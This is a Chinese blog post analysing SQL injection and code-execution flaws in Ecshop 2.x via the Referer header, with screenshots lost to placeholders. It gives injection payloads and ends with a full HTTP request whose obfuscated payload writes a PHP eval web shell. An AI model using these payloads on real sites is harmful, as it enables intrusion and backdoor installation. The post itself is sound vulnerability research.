楊花落儘子規啼之Ecshop2.x代碼審計

0x00 SQL注入漏洞

參考博客:鏈接
漏洞分析:通過REFERER獲取的數據未經過過濾,在渲染模板時惡意代碼可以插入模板代碼。
在這裏插入圖片描述
在這裏插入圖片描述此處:$back_act來源REFERER。之後通過assign函數存入類屬性var
之後通過display函數渲染模板:user——passport.dwt
在這裏插入圖片描述
傳入的referer數據存放的地點。
在這裏插入圖片描述
查看display函數:
在這裏插入圖片描述

通過fetch函數解析模板內的變量,最後輸出爲$out,通過添加代碼將$out數據輸出查看一下具體內容:
在這裏插入圖片描述
這裏我們可以仔細研究一下:
正常情況獲取的referer數據被填充如下情況:
在這裏插入圖片描述
最後被渲染輸出:
在這裏插入圖片描述
我們測試輸入任意數據,之後渲染輸出情況:
在這裏插入圖片描述
之後通過debug跟進fetch函數,可以看到會生成user_passport.dwt.php文件,其中back_act的內容取自之前assign函數賦值的內容,未進行任何過濾。
在這裏插入圖片描述
研究完fetch函數,之後進一步跟進代碼,發現程序會通過固定的一個字符串,來對輸出的$out進行分隔,其中_echash=”554fcae493e564ee0dc75bdf2ebf94ca”
在這裏插入圖片描述
在這裏插入圖片描述
之後遍歷循環輸出的數組,當$key爲奇數時,表示此時有一個特殊處理的數據,這個數據要放到insert_mod函數處理:
在這裏插入圖片描述
通過前面傳入的變量進行拼接,最後調用函數:debug跟蹤一下參數
在這裏插入圖片描述
在這裏插入圖片描述
拼接創建函數,通過|分隔的數據當作參數。
在這裏插入圖片描述
檢查insert_ads函數,發現拼接數據存在問題,爲進行任何過濾放入SQL語句查詢,可造成limit注入:
在這裏插入圖片描述
關於limit注入,mysql天書中有詳細的介紹:可以使用數據整理的方式進行注入
https://blog.csdn.net/CSDNPM250/article/details/103069469

在這裏插入圖片描述
在這裏插入圖片描述
已經完全瞭解漏洞形成原理,現在就是要在referer構造可注入數據:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:“num”;s:72:“0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -”;s:2:“id”;i:1;}
紅色部分用於做分隔數據,藍色部分ads用於拼接構成函數進行調用,|之後的數據用作參數,需要進行反序列化,所以輸入序列化數據。
最後輸出報錯結果:

在這裏插入圖片描述
漏洞利用成功。

0x01 代碼執行:

關於代碼執行漏洞:
漏洞利用原理:
利用fetch函數中的調用_eval函數,執行惡意代碼。漏洞利用的難點,如何觸發fetch調用_eval函數—利用上述的SQL注入漏洞。

在這裏插入圖片描述
這個函數中id和num兩個數據都可以由我們控制,那麼我們就可以通過控制這兩個參數逃逸order by和limit限制,將兩個變量中間的數據編程SQL的註釋。Payload如下:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:“num”;s:47:"/ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -";s:2:“id”;s:3:"’/";}

在這裏插入圖片描述
在這裏插入圖片描述
整個SQL語句執行結果如下:
在這裏插入圖片描述
此時如果position_style存在數據就會觸發fetch函數,並且能夠觸發_eval函數。
在這裏插入圖片描述
在這裏插入圖片描述
在此處我們跟進fetch_str函數,裏面存在一個正則表達式和回調函數處理:
在這裏插入圖片描述
其中preg_replace加上/e表示使用回調函數,不過高版本的php已經廢棄了。這裏在使用正則表達式替換之後就是下面整個亞子(爲了方便理解,將代碼copy出來搞一下)
在這裏插入圖片描述
正則表達式會匹配到{}中間的內容,然後將其他部分替換,最後是調用這個類當中的select函數。
在這裏插入圖片描述
在select函數中調用get_val函數:,最後在get_val中調用make_var函數:
在這裏插入圖片描述
最後在make_val函數中可以看到參數被拼接在此處可以進行變量逃逸:

在這裏插入圖片描述
輸出這個$p,如下:
在這裏插入圖片描述
之後所有結果返回到select函數中,再輸出查看:
在這裏插入圖片描述
在這裏插入圖片描述
最後再輸出一次跟蹤情況:

在這裏插入圖片描述
在這裏插入圖片描述
最後調用eval函數執行惡意代碼:
在這裏插入圖片描述
補上完整的payload。

POST /user.php HTTP/1.1
Host: www.ecshop.com
Content-Length: 65
Cache-Control: max-age=0
Origin: http://www.ecshop.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24607064275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Accept-Language: zh-CN,zh;q=0.9
Cookie: ECS_ID=578286b2599356a5d084ea6a59b6a777b87ed5f8; ECSCP_ID=4ea8cdefae4c9eccd9727d8279adfb638d7703ab; ECS[visit_times]=7; XDEBUG_SESSION=19813
Connection: close

username=admin&password=admin&act=login&back_act=user.php&submit=
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章